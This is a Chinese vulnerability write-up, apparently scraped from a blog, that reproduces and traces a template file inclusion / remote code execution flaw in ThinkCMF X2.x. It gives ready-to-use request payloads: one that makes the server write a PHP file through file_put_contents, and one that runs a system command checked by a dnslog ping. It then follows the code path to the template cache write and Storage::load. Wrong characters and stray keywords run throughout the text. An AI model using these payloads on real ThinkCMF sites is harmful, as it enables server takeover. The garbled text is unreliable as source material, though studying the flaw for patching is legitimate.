Thinkcmf任意漏洞包含漏洞分析复现

简介

ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者能够根据自身的需求以应用的形式进行扩展。每一个应用都能独立的完成本身的任务,也可经过系统调用其余应用进行协同工做。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工做的,但他们之间又可经过系统自己进行协调,大大的下降了开发成本和沟通成本。php

影响版本

ThinkCMF X1.6.0git

ThinkCMF X2.1.0sql

ThinkCMF X2.2.0浏览器

ThinkCMF X2.2.1架构

ThinkCMF X2.2.2mvc

ThinkCMF X2.2.3app

复现环境

我这里下载的2.2.0版本,下载地址为:thinkcmfx2.2.0框架

安装过程就略过了phpstorm

漏洞复现

0×01

payload: http://localhost/thinkcmfx220/?a=display&templateFile=README.mdide

0×02

 

payload:?a=fetch&templateFile=public/index&prefix=''&content=file_put_contents('test.php','<?php phpinfo(); ?>')

 

上述请求发送后,会在thinkcmfx根目录生成test.php,咱们访问一下:

0×03

 

payload:?a=fetch&content=<?php system('ping xxxxxx');?>

 

这种方式其实利用和pyload2同样,只不过是直接执行系统命令,咱们能够用dnslog的方式检验结果,以下

说明命令成功执行

漏洞分析

漏洞分析我可能不会把每行代码的意思讲清楚,可是我会分享一些我在分析这个漏洞时使用的一些小方法

审计mvc架构的应用,第一步就是找到入口,而后顺着入口文件,跟着程序逻辑读下去,直到了解程序大致运做流程,知道基本路由规则(mvc架构的审计工做主要是集中在控制器)。前面的审计开始的前置工做我就不细说了,并且在分析一个漏洞的时候这些前置工做也不必定是必须的,若是你在知道一些信息的状况下,例如,你根据漏洞披露的一些信息已经知道哪一个文件有问题了,就不须要再去研究路由了,我此次的分析就是在已知一些条件的状况下进行的,因此我就没有仔细去读路由规则,因此,你也能够看到我后面的分析不少都采用的是猜想以及全局搜索这种方式来肯定利用点,固然我后面也大概看了下路由,大概跟到App::exec()方法里,就能够看到路由规则了,以下:

前面说了那么多废话…..首先咱们看下入口文件index.php肯定应用目录

咱们到应用目录application里的controller看一下,根据路由或已知信息能够肯定index.php的请求会被路由到indexcontroller.class.php的index()方法

这个方法也没啥,就是调用了个display显示了首页的内容。这些都不是问题的关键,关键的是thinkcmf是给予tinkphp再开发的,他有一些tp的特性,例如能够经过g\m\a参数指定分组\控制器\方法,这里能够经过a参数直接调用Portal\IndexController父类(HomebaseController)中的一些权限为public的方法。咱们本身本身在HomebaseController类中建立一个public属性的方法

public function test1(){ echo 'hello axin'; die(); }

而后访问http://localhost/thinkcmfx220/index.php?a=test1,结果以下

说明确实是能够访问到public属性的函数的,这次漏洞主要是利用HomebaseController的display以及fetch方法,由于pyaload已经公开,那么咱们就拿payload3:?a=fetch&content=<?php system(‘ping xxxxxx’);?>进行分析,看一下fetch方法,以下:

payload中只是传了一个content参数,那么此时的$templateFile值为空,$content值为php代码,继续跟进父类的fetch方法,这里的父类跟踪直接跟到了Controller.class.php中

可见这里执行$this->view->fetch,咱们继续跟进,这里的view就是View.class.php中的类的实例

咱们主要关注的点是content变量,上面的代码有两个if…else语句,第一个很简单content不为空,因此执行else分支,第二个咱们不能一眼判断出来,可是这里咱们为了效率也就不去深究代码细节,咱们只须要知道后面这个if….else语句究竟是进入了哪一个分支,因此,咱们采用打印变量的方式,相似下面这样

if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板 echo 33333333; $_content = $content; // 模板阵列变量分解成为独立变量 extract($this->tVar, EXTR_OVERWRITE); // 直接载入PHP模板 empty($_content)?include $templateFile:eval('?>'.$_content); }else{ echo 444444444; // 视图解析标签 $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix); Hook::listen('view_parse',$params); }

这样当咱们访问页面的时候,若是页面出现33333333,则表示进入了第一个分支,不然进入了第二个分支,可是若是跟着个人思路复现了的朋友可能会发现页面没有任何回显,这是由于这段代码先后分别调用了ob_start()与ob_get_clean()

这两个函数的配合会把咱们的输出所有赋值给了$content变量,并不会直接输出到浏览器。因此,咱们在分析的时候能够先注释掉这几句代码。而后根据页面输出咱们就能够肯定此处进入了else分支,分支里主要是执行了Hook::listen()函数,这个函数是tp里常常见的,之前我也不知道是干吗的,此次我专门查了一下资料,这个Hook::listen函数就至关因而调用了一个提早注册好的类中的函数,函数默认是run函数,那么具体调用的是哪一个类的run函数呢,这个就取决于传入的参数了,第一个参数是一个tag,这个tag是与一个类提早绑定的,第二个参数就是要传入run函数的参数啦。那么这个tag又是在哪里绑定到哪一个类的呢?具体在哪一个文件定义了映射我也不太清楚,因此,我直接采用全局搜索(phpstorm快捷键ctrl+shift+f)view_parse这个tag的方式,来寻找view_parse到底表明哪一个类

能够看到整个项目中出现view_parse的文件很少,最后咱们肯定到common.php,并在其中找到了view_parse对应的类就是Behavior\ParseTemplateBehavior

既然都找到类了,那么就跟进去看一下啦,跟进发现里面确实有一个run函数,肯定是他没错了

tips:这里跟踪文件也有个技巧,有时候在定位某个类位于哪一个文件时,咱们也能够采用全局搜索的方式,或者直接用类名搜索文件名(phpstorm快捷键,快速按两次shift)

又有if分支,为了效率咱们一样能够用刚刚说的方法,判断到底进入了哪一个分支,能够注意到我在上面打了不少断点,这个断点是为了标示出哪些行是我本身添加的,或者标示一些重要的逻辑处,方便我后面审计结束删除本身添加的代码,也能够防止中途离开再回来看代码遗忘重点这种状况的发生,总之算是一个小技巧吧。

我这里用个人打印调试法定位到,代码会运行到Storage::load()这里,咱们跟进,在这里咱们使用phpstorm直接go to这种方式发现phpstorm定位不到load函数的定义处,那么咱们只有先定位Storage类,Storage类以下

发现Storage类里面根本就没有load方法,并且他也没有继承任何父类,那么load方法到底藏在哪里呢?这里就涉及到__callstatic这个模式方法啦,这个方法会在调用该类不存在的静态方法或变量时触发,因此,load方式是经过call_user_func_array函数调用的,那到底调用的哪里的load方法呀,这里有两种方式肯定,一是老老实实看代码,搞清楚self::handler到底值为多少,第二种就是我采用的全局搜索的方法,我不想一行行看代码,直接全局搜索load(

出来的结果挺多的,可是咱们根据以前调用时的参数,能够大致肯定是上图中的其中一个,最后再结合本身的判断力或者都试一下肯定是File.class.php(其实这里我是猜的23333,文件名更贴切嘛)中的load函数,跟进

结果发现,就只是引入了一个文件,我这就急眼了呀,我想这么就引入一个文件就完了呢,那我传入的content何时写入到这个文件的呀,我以为我确定是遗漏了什么东西,因而开始顺着这个文件找线索,看看到底哪里把传入的content写入了这个文件,仍是用咱们的打印调试法肯定这个文件的路径在

/data/runtime/Cache/Portal/

而后文件名的命名规则能够从传给Storage::load函数的参数里肯定

Storage::load(C('CACHE_PATH').$_data['prefix'].md5($_content).C('TMPL_CACHFILE_SUFFIX'),$_data['var']);

我采用了几种方法来定位到底哪里把content写入了文件,第一种方式就是全局搜索C(‘CACHE_PATH’).$_data['prefix'].md5($_content).C(‘TMPL_CACHFILE_SUFFIX’)

由于这是文件的命名规则,写入的时候确定也是这个规则,可是结果失败了,只出现一条结果就是load这里,而后我就在想刚刚File.class.php里面有load函数,那么应该也有写入函数(set,write之类的),结果一看果真有!

那我不得全局搜索一波嘛,在我搜索put的时候有所发现,再根据/data/runtime/Cache/Portal/目录下生成的cache文件的文件名、文件内容、调用put函数时传入的实参命名、实参个数以及调用put函数的文件名等多个数据参考,以及失措事后,以为Template.class.php文件这一处put函数的调用极有可能就是了,这里的loadTemplate函数里有调用put函数的操做,反推,loadTemplate函数又在fetch函数里被调用了,而后我觉得我以前跟代码的时候跟错了fetch,23333,回到ParseTemplateBehavior.class.php去确认

回到ParseTemplateBehavior.class.php中才发现这个被我忽视的else分支,这里不就调用了template的fetch方法吗,因而喜上眉梢,那么何时会进入else分支呢

这里我作了一个合_Mask理的猜想,就是传入的参数是以前没有传过的,那么就会进入else,不然进入if,而后我在else分支添加了一行echo 444444;而后请求?a=fetch&content=phpinfo(这个请求是以前没有发送过的)

果真页面打印处444444,说明进入了else分支,那么content的流向就很清晰了:

先是顺着上面的路径写入cache文件,最后调用Storage::load加载cache文件,最终致使代码执行。

啊~这一处的payload就先写到这吧,很久没写文章了,累死了~

相关文章
相关标签/搜索